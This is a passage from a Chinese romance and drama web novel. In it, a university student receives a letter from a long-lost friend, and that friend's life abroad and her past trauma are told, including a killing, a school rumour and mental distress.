她们专业的期末考已经算学校里比较晚的那批了,今晚刚考完,一帮大三大四的人就提着早收拾好的行李箱急急忙忙坐上了去车站的地铁。
校园里各个大道的树枝被厚雪压得一片光秃,大三的上半学期,在这场临时的暴雪中慢慢划上句号。
“哎呀你们别光顾着喝啊,点的这些热食都得吃完,谁要是敢剩,头打烂我往里灌!”
舍长张宝青是个东北妹子,别看个不高,每次这种醉气熏熏的聚会,她都是那个最后扛起几人往寝室送的主心骨,这会见大家集体沉默地灌着酒,心里也不是滋味:“我说各位,有啥好难过的,这不还没毕业么,又不是见不到了,下次再聚可就得大四毕业了,今晚都开心点吧……”
宿舍四个人,全找好了时期很长的实习,除了江乐橙留在本市,其余三个都要去其他城市,范朵朵甚至还要去海外。
正儿八经又轻松自在的大学生活,随着这个冬季的到来,仿佛已经悄悄过完了。
林歌抹了把红红的眼圈,都说这大学能遇到好室友比中彩票还难,怎么她就这么幸运遇到的三个室友都是天使姐?
一阵沉默,各自心里哑然。
“难过只是因为……”
桌上的几人看向突然嘣出话的江乐橙,她对着酒杯抿起嘴巴若无其事地笑了笑,“我还无法接受在下雪天的突然离别。”
她酒量一直很差,尤其在高中时期,喝两口就上脸,但那时候她们偷偷出去喝酒,她从来都不担心会不会迷路会不会被坏人拐走,会不会没有人照顾自己。
但现在不一样,哪怕身边都是一群百般信任的人,她都无法让自己完全喝醉。
是哪里不一样呢?
是江城和京市两个城市的冬季不同,还是酒水的味道不一样?
每年一到雪天,尤其是今晚这样很像几年前江城的雪天,她就心情总不好。
范朵朵见她埋着头杵到角落,发泄似的只喝不吃,坐过去揪起她红烫的脸,轻声问道:“你怎么每到这天儿就反常,触景生情啊?你别不是有喜欢的人了吧?”
去去去!
江乐橙眼皮一闭,从她手中挣开,仰头又猛灌了大半瓶酒,喝得太猛有点顶胃,可是又不想停下来,于是靠向椅背连连打起酒嗝来,然后平滑朦胧的脑海里蓦地就冲进了一些碎片——
她被某个人莫名删了所有联系方式的碎片,她突然被迫断掉所有往来的碎片,她疯了一样半夜赶去机场却没来得及见那人最后一面的碎片……
好多好多和针一样尖锐的片段,猝然闪过神经,扎得她很痛很痛。
第一次见到那个人,那个穿着一身柠檬黄的人,裙子涂着向日葵的涂鸦,门牙和她一样都缺了一颗,头发黄黄卷卷,像绿松石一样清透的大眼睛在日光下能折射出不同色彩的光,她咬着唇朝自己一直笑,很害羞很内敛的样子。
可她当场就牢牢记住了原来相见恨晚是这样的感觉。
她以为她种下了一颗全世界最好的太阳种子,于是她只对她好,她唯她是从,她江乐橙的名字前面永远都连着她。
可谁知那不是种子,那是她给自己埋下的一颗雷,这颗雷在许多年后突然爆炸,片刻的滞空后,发出一声巨大的嘭响!
然后她的心就被炸出一片血肉模糊。
那个小王八蛋就这么消失了,凭白无故,她的青春跟做了一场梦一样荒唐。
TMD!
一时间江乐橙的眼泪花混着酒气说冒就冒,说不上的委屈,汩汩掉到下巴,哭腔滚烫,带着难受至极的哽咽:“谁说难受就一定是和恋爱挂钩啊,谁规定雪天一定要跟男人有关啊,我不想谈行不行啊,谁爱谈谈关我屁事啊,我操……”
她说不下去,也喝不下去,将快空的酒瓶子紧紧握在手里,然后抵住额头开始大哭起来。
明明刚才还在泄愤酒杀的人,转眼就像个三岁小孩一样哭得上气不接下气。
……
周围静了又静,连着附近好几桌的客人这会儿全停下手里的活齐齐看过来。
对着小姑娘撕心裂肺的哭声,大家吃的喝的,一时都挺无措。
店老板慌慌张张揭开后厨的帘子,然后瞪着一双牛眼愣愣看过来,手里还举着铁菜碟,这片儿可是大学城,要是这帮脆皮学生一个激动死在他店里,那他妈就完了。
哎哎哎!
成成成!
其余三个人已经习惯江乐橙这说来就来的情绪,只当是耍酒疯,连忙给那老板挤眼色,递纸的递纸,碰杯的碰杯,该哄哄,该笑笑,反正今晚怎么自在怎么来。
为了哄她,范朵朵将带来的那个黑色快递包裹放到她手边,又抽出纸胡乱擦了一把她湿乎乎的脸,拍拍她的脑袋,问:“你要不要现在拆开看看,说不定很重要呢,别一会儿走的时候忘拿了。”
今晚来的是一家庭院式的烧烤店,设计风格很像那种四四方方红墙青瓦的传统四合院,露天区域的四个角落摆满了明艳的炭火,每一张矮桌被巨大的悬挂伞隔开,板凳旁还燃着各种老式的黄铜火炉。
江乐橙的脸被烤的干红,但眼睛还挂着湿,不知道是不是哭蒙了,这会儿盯着火堆竟然发起呆来。
北方的雪花有种异常纯净的魔力,从空中无端出现,大片大片徐徐往下落,落到屋檐,落在脚边,无论落回哪里,都能被炭火的鎏金色照出日光一样的温柔透亮。
像枕头的棉絮。
像温声的眼睛。
……
操。
她顿时抵触似的疯狂摇头,哑着声说:“不想拆,你们拆吧,如果是吃的就分了,不用给我留。”
张宝青捡起根木桌上的烧烤铁签子,用尖尖的头刺啦一下,划开了那个匿名的黑色包裹。
扑鼻而来的就是苦橙叶和印度檀香的气味,意料之外,是一只装在雕花木盒里开过光的手工香囊。
三人都一脸好奇地望着那只包装低调贵气的小物件,连袋口的编织绳看上去都格外的精致灵气,外封的棉麻布袋上还有一句手写的经文,她们几个掏出手机研究半天,结果还是没查出那是句什么意思。
“哇!这也太好闻了!”范朵朵没敢上手摸,将盒子小心捧到江乐橙面前,为了逗她开心语气很轻快,“宝贝,谁给你送的你快想想!这东西一看就是用心准备过的,你不是失眠严重吗,放这个在床头说不定有效果!”
林歌拍拍手也哄道:“对哈!谁要是给我送个寺里专门求来的香囊我能开心死,你说是吧是吧江宝!”
江乐橙只是半睁着眼,目光迟钝地扫过那个香囊,很空地看了两眼,没接,转而没什么表情地低了头,“你们想要就拿走,我闻这味道犯冲。”
胡说八道!
张宝青皱着眉说:“你装什么呢,别以为我不知道你就最爱这个味!你衣柜里那个破破旧旧的玩偶还记得吧,就是这味道,虽说很久没闻过了,但我不可能记岔,赶紧的!快说这谁送的!”
她哪儿知道。
江乐橙往嘴里丢了一颗花生米,抱起酒继续喝起来,“可能是我妈寄的吧,哎呀不重要,反正我目前不需要。”
她喝上头都忘了,她妈才不了解她最爱的气味到底是什么。
要像橙子剥皮时在空气中噼啪噼啪炸开的那一瞬间的香味,不能太浓也不能太淡,要让微风吹过,要让阳光照到,要保留一丝只面向她的温暖苦涩。
除了那个人,谁会知道。
范朵朵换了根干净的一次性筷子,继续小心拨弄着箱子里的气泡膜,挑开,随后就看到压在最下面薄薄一层的东西,“江宝,这好像是一封信……”
江乐橙都快睡过去了,手机放桌上,下巴垫到上面,用泛着困意的气音说道:“那你们拿出来给我念吧,我眼睛好酸不想睁开。”
几个人全都八卦起来,那必须念啊!这万一是哪个混蛋偷偷写的情书,她们倒要看看是谁是谁是谁!
范朵朵在读信前,先拾起一串早就凉透的牛肉串,又做起像跑八百米前的准备工作,深呼吸,期待满满地大咬一口,边吃边用另一只手搓开那封包装反而很普通的信件。
嘴边有戏谑的笑溢出——
「橙子,橙子。」
噗!
她嘴里的东西还没来得及咽下去,就先读出信上开头的称呼,结果刚反应过来她就给呛住了。
江乐橙还闭起眼吹着刘海,另外三个人就先一动不动了。
大一刚认识时,她就给大家说请不要叫她橙子,就叫她大名好了。
久而久之,所有人也都默认,橙子是某个人对她的专属称呼。
范朵朵小心瞄着她的表情,见她耳朵没动,也不知道有没有在听,只能和另外两人打起眼色,急忙咽下嘴里的东西,这回收起玩笑,认真念起来——
「好久不见的第1465天,横跨10500公里,突然好想你。
我现在坐在学校的图书馆,身后有一长排书架,上面摆满了你最喜欢的魔法师三部曲和玻璃王座系列的书籍,我认真翻了翻,都是特定版的,国内很难买到,好遗憾,很想顺两本偷偷寄给你,但是头顶有一颗巨大的摄像头,像以前你家楼道那颗新换的照明灯一样亮。
我不敢出手拿走它。
都这么多年了,我依然还是没你大胆,没有你的勇气,可如果现在换作你是我,你肯定早就不管不顾拿给我了。
于是这一刻……
我就更想你了。」
范朵朵轻声念着,那些话,被拆分成无数个细嚼慢咽的颗粒,在所有能听见这封手记的人面前,一句一句,轻轻碾过每个人渐渐滚烫的心脏。
她每念一句,就要抬头看坐在旁边的姑娘,然后就见江乐橙不知道从什么时候起,眼眶里又无声蓄满眼泪,握酒杯的手紧到发白,连刚才沉浸的胸腔都开始剧烈起伏起来。
……还要念吗?
张宝青接过那封信,噌的一下起身,就站在火炉边,火焰因为她带起的风就像海藻一样瞬间高高沸腾,照得江乐橙的眼泪一个没撑住,又起劲地往下坠。
张宝青叹气,替她接着念起来:
「橙子对不起,对不起橙子。
想写这封信很久了,只是每次拿到笔手都控制不住会抖,我目前还是没有办法长时间握笔,所以对那晚的不告而别,我只能很言轻地写下对不起三个字,但你会懂我对不对?」
江乐橙咬紧唇使劲摇头。
懂个屁啊,谁懂你啊,自作多情什么啊!!
「他死了。」
一句骤然的转折。
张宝青说完后一愣,范朵朵和林歌都跟着错愕地睁大眼,江乐橙倏地同时抬起头,红红的眼睛僵滞地看着她,“……什么?”
张宝青赶紧抖平那张信纸重新念起来,不过刚才的那句话就像泡沫似的一闪而过,没有多余的任何解释,好像‘他死了’只是挤在这页纸中的一个平平淡淡的标点符号。
可那三个字又写得格外扭曲,像下笔又顿笔了无数次,笔尾后面还有一团被湿气晕开的墨渍。
「在对你写下这封信的今天,我终于接受了他不在的事实。我以为只要我摒弃一切能接触到他信息的渠道,我就可以自我糊弄,他就能一直在我身边,可是我昨晚突然梦到了他,四年了,只有昨晚才梦到他。
橙子,你有见过最红最红的颜色吗?
那晚我被送走的时候,我的身上都是他的血,就是
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那个颜色。
那两个人,你和我都见过的那两个男人,当着我的面用铲地的木棒从背后捅穿了他,木头上面都是浆色的血糊。
就是那个颜色。
昨晚在梦里他抱着我对我说了很多话,到后来他说他全身都很疼,我摸到他的胸口是空的,我用手可以穿过那个洞,在梦里我很不懂事,但只要一遇到他我就不想懂事,那个洞因为我变得很大很深,里面什么都看不见,我看到他越来越疼,我还没有来得及说话,那个血窟窿就溅出了很多血,然后他就在我面前消失了,任我怎么喊都没有再出现。
我到现在都还觉得这只是梦,可是你知道吗,这就是那晚真实发生的。
橙子,我没办法再刻意去忘记他了,我也不想再懦弱下去了。
如果还有机会,欠你的毕业合照,我一定会回来和你补齐的。
想你的阿声。」
结尾处轻轻落下一个类似猫猫爪子的小脚印。
没有邮寄地址,没有联系方式,只有一封信和一个祈福的香囊。
林歌突然插了一句:“江宝,你有没有觉得这封信不像是重逢……”
而是再次的告别,彻底告别。
范朵朵和张宝青的眉毛都要皱起来了,也飞快点头。
当她是什么啊?!
江乐橙胡乱抹了把红肿的眼睛,抓着头发强迫让自己清醒过来,扯过那张纸,盯着上面属于她的字迹,开始回忆,开始追思,四年前那个差点被绑架的夜晚,一切都变得清晰起来。
她在半夜两点突然接到关语宁的电话,那个时间点她还没睡,因为晚上那点破事导致作业还没写完。
“太奇怪了啊橙子!我刚给阿声发消息,发现她拉黑了我,你快问问是发生什么事了吗?”
怎么可能,要拉黑也是拉黑路泊汀啊,拉黑朋友干嘛?
江乐橙打着哈欠,懒洋洋地退出通话界面,又打开社交软件,动作慢慢腾腾地点开置顶的那个头像。
啧啧嘬了两下嘴巴,屏幕敲过去——
橙橙啵:我突然饿了我靠!睡没?
刚发出,后面就紧跟着出现一个大大的红色感叹号!
?
……??
她一下子就清醒了几分,连着又发出好几条表情包,但都被拒收了。
关语宁的语音电话接着打过来,江乐橙没接,眼皮突然一直跳,都忘记要去通讯录翻温声的电话,心急火燎地手动输入那十一个数字,连屏幕上方自动跳出的联系人都没有看见,在那通电话拨过去前,她心里还在大声骂人:
NND你竟然敢拉黑我?你看我搓不搓你!
‘对不起,您拨打的用户已关机,请稍后再拨……’
江乐橙到现在都还记得听完那段语音播报后,她的心里一下变得很空,特别空,比她妈因为她犯错扇她耳光都来的空。联想到晚上吃完饭差点被绑的事,有一种巨大的心慌当即就占据了她,推开堆在床上的那些作业本,她光着脚跑到爸妈卧室前,一把推开门,然后对着黑暗里早就陷入深眠的老爸大喊:“爸!爸!能不能送我去一趟阿声家,快醒醒我求你了!”
那个时间点是夜里的两点四十七分,为什么会记得这么清楚,因为她的手机忽然蹦出一条短信——机场
没头没尾的两个字。
但这条消息是路泊汀的号码发来的。
她立马警钟大响,抖着手回拨过去。
打了将近有十分钟,没有任何人接。
在飞驰去机场的路上,她想了无数种可能,能被大半夜突然送走,肯定是发生了很严重的事,但是再严重能严重到什么程度?
又不是畏罪潜逃。
……
她没想到真的是畏罪潜逃。
就在第二天上午,学校里突然生起一点风声,还是唐媛这个大嘴巴传出的,说高二年级的某班出了一个杀人犯,还是女杀人犯,亲手杀死了自己的父亲。
校方为避免引起轰动,又因为被提及的当事人身份太敏感,于是顶着上面的压力在极短的时间内将此事强制处理了,紧接着,唐媛就因为恶意传谣的事由被学校勒令停学一周。
这件事其实只传出不到十分钟,校领导处理的方式还算滴水不漏,可是《一中竟然窝藏杀人犯》这个标红标粗的帖子在一小时内还是被迅速顶到了各个学校贴吧的最上面,那天还是周五的中午,一周里大家最清闲的时刻,市里几乎所有的学生都在那个午后炸开了锅。
大家就像一只长久圈在铁栏里的野狗,并没有感到多恐慌,反而十分猎奇,那可是一中啊,在全国都排在前面的重点高中啊!
竟然有杀人犯?
太他妈炸裂了!
太多人下课议论着上课还议论着,传闻和舆论一时沸沸扬扬。
所有指向性的争议是在两天后突然爆发的,有人注意到教务处那帮老师正在处理个别学生的档案手续,一个退学,一个休学,一个高二,一个高三。
退学的那个人是高二文一班的学生。
性别女。
叫温声。
一个一个的标签这下全落实了,谣言变为板上钉钉,原来一中真的出了杀人犯,原来真有杀人犯出自一中。学校的名誉也因此严重受损,各方谩骂声像野火一样,越传越旺。
但她江乐橙最好的朋友,怎么可能是杀人犯!
她不允许任何人骂温声!!
这期间江乐橙每晚都会偷偷跑去怡翠苑,只是没有遇到路泊汀也没有再见过姚阿姨,熟悉的几个人好像在这个世上凭空消失了一样,唯有那栋房子冷清又肃穆的一直立在那里。
之后,她花了很长一段时间才联系到刘嫂,在关语宁和贺厉的帮助下,他们带着文一班的所有任课老师和同学一起将那份法院不予立案的判决书录下集体视频上传到了学校的官网首页。
那条视频被一中置顶了很久很久后,这起荒唐的造谣事件才渐渐平息。
她也是后来才知道,原来温志强真的死了,还死得那么轻飘飘,死得那么低贱。
死得比她想象中还要轻而易举。
他害惨了她的朋友,他罪有应得,他死不足惜!
可是路泊汀呢……
江乐橙望着信上被水渍晕开的那三个字,越看越眼花。
那么牛逼轰轰的人,怎么能说死就死……
“朵朵,你上次说你在清美有认识的朋友对吗?能不能拜托他在校内帮我找一个人?”
范朵朵啊了一声,先抽纸给她擦眼泪,然后忙点头:“你说说看男的女的,叫什么?”
“何让生,就说我有很急的事,今晚就需要他的联系方式。”
80. 解除关系
“亲爱的华人朋友们,大家周五晚上好,欢迎收听Whisper Light华语音乐站,我是学生DJ——W&L。有些歌曲,有些声音,无论你身处何方,无论岁月流转多年,相信它总会带你回到儿时的栖息地。今晚的开场,我们放送的经典之作是来自哥哥……”
麦克风忽而一静。
伴随着一声轻颤的呼吸,紧接着,沙沙的电容声就在十分安静的播音室里突兀的响起。
停了好几秒。
墙上计时器的LED屏幕滴滴闪烁了两下绿色的光,负责音控的沈百合朝那个低头看不清神情的姑娘疯狂使眼色。
奈何隔着一层玻璃,没人注意到她张牙舞爪的小嘴脸。
WL电台是学生组织两年前开设的首档校内中文音乐电台,别看小而普通,就因为她们所在的学院是全球最顶尖的新传学院之一,无论在学术领域还是传播学界,教授和研究人员都有极高的知名度和影响力。因此任何带着学院标签的媒体运营,就像她们创立的学生电台,哪怕内容再不够专业,那也是受各路媒体和大众认可的。
所以它的核心受众从最初的校友渐渐覆盖到北美,甚至全球华人都可能收听到。
但今晚却出现了从未有过的失误。
还是坐在旁边位置的学生嘉宾轻轻敲了一下桌面,温声才倏尔回过神,眼底弥漫着恍惚,反应过来,朝她抱歉地弯唇一笑,喉间微滚,泛着哑的声音说完刚才的话:“……哥哥,华语娱乐圈的传奇人物张国荣的歌曲《春夏秋冬》,让我们一起回到那个遥远的地方,一起聆听这首关于旧时光的歌……”
兜兜转转,一个半小时后,电台节目刚结束,温声还没有从工作的氛围里抽空情绪,沈百合就抱着包扒在播音室的门框上,朝她眨眨眼,大喊道:“温妹儿,愣着干嘛呢快点收拾呀,那家超市马上就关门啦,我今晚一定要买到火锅食材!!!想吃好久了啊~啊~啊~~”
学院里同级的中国人就她们俩,大一刚开始时她满眼瞧不上这人,一打听果然是来自国际化大都市的江城人,细皮嫩肉的文静样,看上去就和她这个打娘肚子里就开始吃辣的蓉城辣妹子处不来,还跟个哑巴似得,小组作业全靠她口头输出。
但她看走眼了,这人生猛得很,大一她在校外被人尾随,吓得她愣在原地一下没了神,还是这姑娘突然出现,两手戴着一副很柔软也很可爱的黄色拳套,好像是刚运动回来,身上的运动装还冒着汗湿的热气,细胳膊细腿,依旧是那副娇柔的样子,然而背影却格外充满保护欲地挡在她身前,对那个傻逼白男点头警告道:“You better back off,this is your final warning!”
盯着他,她的眼神在一时间内极具危险的震慑力,哪怕身形再纤瘦,但那股咄人的气势令人无从忽视,那傻逼男还在犹豫,见他的手忽然探进衣服兜里,温声猛然向前一迈,指着他,一字一字厉声大喝:“STOP RIGHT NOW!”
直呆呆地望着那男人回头就跑,沈百合的小心脏突突突响起火车的鸣笛,她心里大喊卧槽他爹的啊啊啊啊,然后下一秒,就面色怕怕的想要去抱她,结果被面前的人一把无情推开,摘下拳套扔进背包里,白皙的细手腕绑着一串异常显眼的黑手串,淡声提醒道:“以后别走这条道,我不是每晚都经过这里。”
没错,人姑娘很直白地告诉她:我不愿和你玩。
沈百合心都碎了,她第一次在游刃有余的社交关系里有种无从下嘴的无措感,但后来她发现这妹子不是不跟她玩,而是私下和任何人都保持着很明显的界限感,不沟通不交涉不融入。
在学校里永远的三不原则。
可能是沈百合性格里带着点欠里吧唧,遇到这种不爱鸟她的人,她就非要赖着脸皮贴上去玩,她不说话,那就自己多说点呗,她冷脸,那就自己脸热点呗,反正能说中国话的就她俩,不做朋友不成啊。
于是,这漫长的两三年,终于让她挤进了这人窄窄的心门。
太不容易了嗷!
温声将第一首歌曲作为今晚的电台结束曲,摁下循环播放的定时键,然后朝门口的人打了个手势,让她再等几分钟。
——秋天该很好,你若尚在场
一句句温暖又深情的曲调响起。
抬手,桌上的笔记本扣上页,拾起笔袋一起放进书包。
——冬天该很好,你若尚在场
一楼的窗户被风声拍响,温声盯着灯光倒影里的自己,黑色长发垂在胸口,眉眼模糊不清。
独特柔和的尾音,充斥在仅剩她们两人的播音室。
沈百合也没再催她,替她掩上门,然后静静地靠在门口跟着听起来。
两三分钟,一曲终了。
灯被按灭。
“完事了?”
温声低声嗯了声,反手关上门,“一会儿我想去剪个头发。 ”
沈百合听她语气不对,啊了一声,但她半张脸藏在围巾里看不出变化,只能蹦着脚尖往她发质超好的长发看,“为什么啊,长发不挺好看?突然剪掉多可惜啊……”
温声牵着她往门口走,两人被月色向后拉出长长的一条影子,轻声渐远:“还没试过短发,突然决定的,没什么原因。”
“那先去买东西,再找个店给你剪头发,不行就我来,我手艺不错昂……”
打车到离学校几公里外的超市后,沈百合将两人的包丢进一辆巨大的购物车,然后推着车横窜在各个货架中,温声慢步跟在她身后,时不时提醒两句:“我觉得这袋米实在没必要买吧,还有这些冷冻肉,太多了带不去啊……”
还没说完就被驳回——
“我想喝煮米汤,想吃糯米糍粑,想吃大白米饭,想吃鲜虾辣椒拌饭,想吃各种牛肉炒饭,还想给你们做点川菜和你家那边的本帮菜!你又不做饭你只吃白饭懂什么你!”
她可是来自天府之城or美食天堂的蓉城人!
一人做饭可以养活一大片饿死鬼的蓉城人!
叽叽歪歪什么啊你?
巴拉巴拉。
只蹭饭不会做饭的温声只好歪歪小嘴巴,闷头跟着她,“那我能点菜吗,想吃油爆虾三黄鸡蟹粉豆腐,还想吃八宝饭……那再买点零食吧,我想吃旺旺雪饼,还想吃桂花味的大白兔奶糖……”
没说下去,她就看到沈百合没出息的掉下一长串口水,好死不死就掉在购物车里她的书包上。
……
沈百合吸溜一下卷回口水,自动无视面前人嫌弃的眼神,用自己的袖子在她书包上擦啊擦,忿忿不平道:“等着,一个月内我都给你学会,还有那什么奶糖,不是只有原味的吗,怎么还有其他乱七八糟味道的?”
正好走到休闲零食区,温声拽着她绕到亚洲零食专区,然后就看到两大框像卖散装瓜子一样的柜台上,蓝的黄的白的绿的橙的各种颜色的奶糖映入眼帘。
“我靠……”沈百合推开车子,都忘了头顶的摄像头,直接抓起一颗淡紫色的紫薯味奶糖,往嘴里一丢,哇哇叫出声:“活了二十几年,真第一次知道还有其他味道的大白兔奶糖啊!!买!!买四五斤回去!”
温声呶呶唇笑了笑,埋头挑起口味,选了一颗芒果味道的也含进嘴里,她白天参加了一场校内入镜的活动,因为睡眠不好导致气色很差,所以不得不化个淡妆遮一遮,头顶冷白的光雾洒下,几个小时过去,除了黑眼圈有点明显,皮肤反而像磨过皮一样透出皎洁的粉嫩光泽。
人都愿意欣赏名副其实的美女帅哥,尤其是那些毫不费力就能惊艳到周围人的绝色。
沈百合悄悄盯着她又长又直的睫毛,呼吸不由放轻,那双眼型太过独特明艳,以至于垂眼时,眼尾像蝎子摆尾一样搅得人心跟着发乱,还有小巧秀气的鼻梁、粉润饱满的嘴唇、细细的尖下巴……
恰到好处的精致,只剩让她哑然的精致。
沈百合嚼着糖试探地问:“宝贝你长这么好看,怎么就不谈男……”
“我决定申请联社的战地报道实习项目了,如果快的话,一周后能出结果。要是没通过,就以无国界记者的身份再申请志愿者名额。”温声看着她,浅眸很淡然,“申请应该会被毙,但我不会放弃。”
okfine,提到男朋友这个话题就会被自动跳过,但是——
战地报道??
什么玩意儿???
沈百合脑回路卡壳了,呛了一口冷冷的口水,目光大受震惊:“你想清楚再决定啊!这不是儿戏好吗?实习项目那么多,咱不一定要去那些地段啊,你看看现在冲突地区局势多动荡,极端分子才懒得管你人道主义呢,抓到的话别想活着出来!”
另外,家里人也肯定不让去啊!
温声已经抽出塑料袋开始装奶糖了,她喜欢芒果口味的,但想到某人不喜欢,于是绕过那片黄黄的区域,走到乳白色的原味区域,抓起一把放进袋子里后,才回她:“虽然说这话很假很虚伪,但是我们都学新闻了,而且身处的平台已经超出别人太多,那就别浪费资源,如果连我们都不往前走,不往人堆里挤,总有一天,先不说那些已经身陷灾难里的人了,就说像你我这样的普通人,我们的声音也一定会被踩在脚下。”
有人的地方总会有不同的声音,这些声音也需要被别人听到。
意思她都懂,但是……
沈百合难受了,佝着腰压向购物车,胃里被顶的难受,“那你也要先问问你爸妈啊……”她又是一停顿,说起父母,她好像从未见过温声的爸妈来学校看过她,也从没听她提起过,一时间,有丝尴尬的猜疑在脑海中出现。
“我是被收养的,目前和养父母已经断了法律层面的关系。”知道她在想什么,温声也不避讳,说得很坦然,“但是他们依然把我当亲生女儿对待,以前刚转来时高中的费用,包括现在大学的一切费用,也是他们一直在支助我。”
爸妈两个字她很久都没有叫出声了,张口,又闭嘴,反反复复几次,她摇摇头,笑意有抹隐含的不愿多说:“他们人很好,只不过太忙了,所以……”
所以没来看她嘛!沈百合幼稚的小脑瓜自动脑补,叹声叹气地去抱她,“那他们一定是很好很好的人吧,你不会想他们吗?”
温声其实很抵触身边人的突然亲热,在她贴上来时,身体有一瞬间是僵硬的,但是脑子被她的话带偏,一时没推开她。
不会想他们吗……
上一次见姚书文和路康,还是高三的时候,因为适应新环境很难,加上每晚都在失眠,失眠到她想从楼上跳下去,她那段时间瘦的吓人,168的个子体重不到75斤,有好几次上完课直接晕倒在班里,学校行政处的老师没办法了,不得不联系姚书文让她来一趟。
她到现在都还记得,见面的那天是炎夏的大晴天,她请了一天假,从早上八点就坐在校外的咖啡厅等人了,门口的风铃随着门开门关铛铛一直响,越接近时间,她浑身就忍不住抽搐起来,从胸口延伸到小腹,每呼吸一下,腹部就要阵痛一次,到后来,神经紧绷到肌肉都在发硬,像拉紧的弹簧,她一直在等断掉的那一刻。
她知道当下的身体已经有躯体症状了,但是又不知道该怎么缓解,只知道见到那两个人应该会好很多,所以捧着早就凉透的杯子,祈求他们快快出现。
终于,在下午两点,风铃再次响起。
路康手里提着一大堆补品,都还没挨上座位,就直接一骨碌全堆在她面前了,语气满是心疼:“怎么会突然这么瘦?是不是家里的阿姨做的饭不爱吃?还是学业压力太大了?如果学得不开心你一定要和我们说啊,爸爸带你……”
温声没顾上看他,从座位上慌乱起身,绕过桌沿,咚的一声就直直跪在地上,然后朝那个戴着墨镜一语未发的女人磕起头,磕的额头一片红肿,磕的路康连忙蹲下拉了她好几次都没拉起来:“妈……我求你了……能不能告诉我他怎么样了……他是不是还活着……求求你只要告诉我他还活着……妈妈……”
一声一声抽泣的妈,撕心裂肺地喊她。
路康的眼圈登时就红了,狠声叫她:“阿声,你起来!跪着像什么样子!”
温声已经在崩溃的边缘了,趴在地上,趴在姚书文脚边,不顾店里那些人的指指点点,也不知道哭了这么多天的眼泪怎么还能说冒就冒,脸上的眼泪鼻涕粘着头发丝,满脸的狼狈不堪,失声一样的嗓音只剩下刺耳的嘶哑和浓浓的哭腔:“你说话啊妈,我求你告诉我,我只要一个结果,他是不是还活着,是还活着吧……求你说话啊……”
她上手抓她的裤子,抓紧,一直晃,脸黄肌瘦,一身病态的模样,魔怔了一样,一直哭一直喊,路康看到她的头顶竟然已经有白头发,手腕也有几道很深的被刀割开又长住的肉楞。
看得路康一阵心惊后怕,他直接上手给她擦眼泪和鼻涕,又去拽她,但她好像牢牢扎进地里,任他怎么拽都拽不起,对她不由口气严厉:“起来!有什么话我们回家后再说,爸爸答应你,你提什么要求我都满足,快起来!”
站着一直没动的人,突然低声交代:“路康你先出去。”
路康看着老婆冷淡的脸色,犹豫了一下,“我……我还是待着吧,有什么话好好商量。”
姚书文转头,抬着视线往他脸上撂,“我说,我让你出去,听不
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懂?”
好好好。
路康蹲下身又摸了摸闺女的头发,慢声哄着,声音很小:“阿声快起来,今晚爸给你做你最爱吃的糖醋酱鸭,和妈妈好好谈,我在外面等你们。”
感受到来自头顶的人不耐烦的目光,他整了整身上的大衣,回身往外走的时候,又叹着气叮嘱最后一句:“好不容易见一面,别吓到孩子了。”
咖啡厅的客人被路康的助理全打发走了,又给老板留了一笔赔偿,门灯一暗,打烊的店牌挂了出去。
姚书文摘了墨镜,往桌上一放,然后弯身,朝她递出一只手,“以后不要随便给任何人跪地,你先站起来,我们再聊。”
温声两手乱抹了把湿乎乎的脸,抽着鼻子,然后抬起头往她脸上看,但是她眼里都泪,她完全看不清她的样子,只知道面前的那只手是温热的,又很柔软,和以前没有任何区别。
是来自妈妈的感觉。
姚书文揉了揉发酸疲倦的眼眶,从纸盒里抽出纸,也没坐,就那么站着,然后一手扶着她的后脑勺,低下身给她擦鼻子,问了一句无关紧要的话:“这段时间三餐有正常吃吗?”
这样毫无间隙的聊天已经过去很久很久了,久到她以为是上辈子的事了。
温声闭着眼,感受近在眼前的温热呼吸,听到她的话眼眶又疼了,摇头,然后哭声异常哽咽地回她:“吃不惯这里的饭,想吃刘嫂做的家常便饭。”
姚书文一边擦,一边上下细看她的变化,脸色苍白又暗沉,眼窝凹陷,黑眼圈很重,头发像回到小时候那样的黯淡发黄,昂着头时,身前的肋骨也跟着僵硬的突出。
心口针扎似的忽然一疼,眼眶也随之一热,她用心养了这么多年的女儿,到头来,还是没养好。
“那就让刘嫂下周过来吧,还想吃什么带什么,给刘嫂发消息,到时候让她全给你带过来。”
“妈……”温声闭着眼,眼泪从眼角滑下,嘴唇打着颤,想问她那些话,可是一时又不敢出声了,害怕她生气害怕她发火,害怕现在的这一刻是假象,只能喃喃一直喊她,“妈妈……”
“现在聊聊你的事。”姚书文阖了下眼,压下情绪,然后两手扶起她的肩,强迫她正视自己,“温志强的案件警方还在调查中,虽然你有明显的不予追究的条件,但这两年你还是回不了国,国内没有哪所学校目前是可以收你的,所以我和你爸决定,就让你在国外一直往上读好了。”
提到温志强的名字,温声就再度一抖,然后拼命往姚书文怀里钻,惊慌失措地大喊:“我没有杀他,我真的没有杀他,是他当时要杀我,我失手了……妈妈我真的没有想要杀他……”
“乖,不用解释,他的死和你没有任何关系,法医在他的尿检里发现有致死的毒素,所以他是自己中毒死的。”姚书文拍了拍她的背给她顺气,“以后不要再想这件事了,他怎么样都跟你没关系了。”
“可他是我亲生父亲,又是带走黎雨的人……”温声睁着红肿的眼,看她,问得很艰难,“你和爸……你们不会怪我吗?”
“我只怪你和你哥瞒着我。”
见她下一句就要问出,姚书文舒出长气,拉过长椅,坐下,然后拍了拍旁边的位置示意她也坐下,“黎雨已经找到了,但是情况不太好,所以我和你爸最近会很忙,接下来可能要很久不能见面,这次过来除了见你,还要去见你之后申请的学校的教授。我现在只想问你一句话,你考虑好再回答。”
温声泪眼中和她对视,姚书文眼底一片异常平静的沉寂,辩不出任何喜怒,心里一下很闷,变得沉重,所以手里不由抓紧衣服,轻声问:“什么?”
“你还想做我的女儿吗?”
这句话问得很直接,迅速,像门口那串风铃一样,风起风落,轻飘飘地划过耳际,好像没有半分重量。
但这句话被姚书文压在心里,自我问了无数遍。
她被赋予过很多身份,路康的太太,路泊汀的妈妈,只有温声的妈妈才让她最心生感触,没有任何理由,就像母体爱女儿也是一种本能一样。
温声哪怕脑海再混沌,也知道她在问什么。
如果还想做女儿,就只能是女儿。
不知道路泊汀的情况,也不知道未来是什么样,她好像走进了三角形的顶点,路被她越走越窄,姚书文的这句话仿佛是一根回旋的箭,只要她点头,一切就可以回到光明的原点。
即使他们之间有温志强和黎雨介入的过往,姚书文还是把选择权交在了她手里。
路泊汀……
姚书文……
两个人的名字在眼前起起伏伏一直跳跃,占据她的大脑,入侵她所有的思维。
时间滴答流过,答案差不多了。
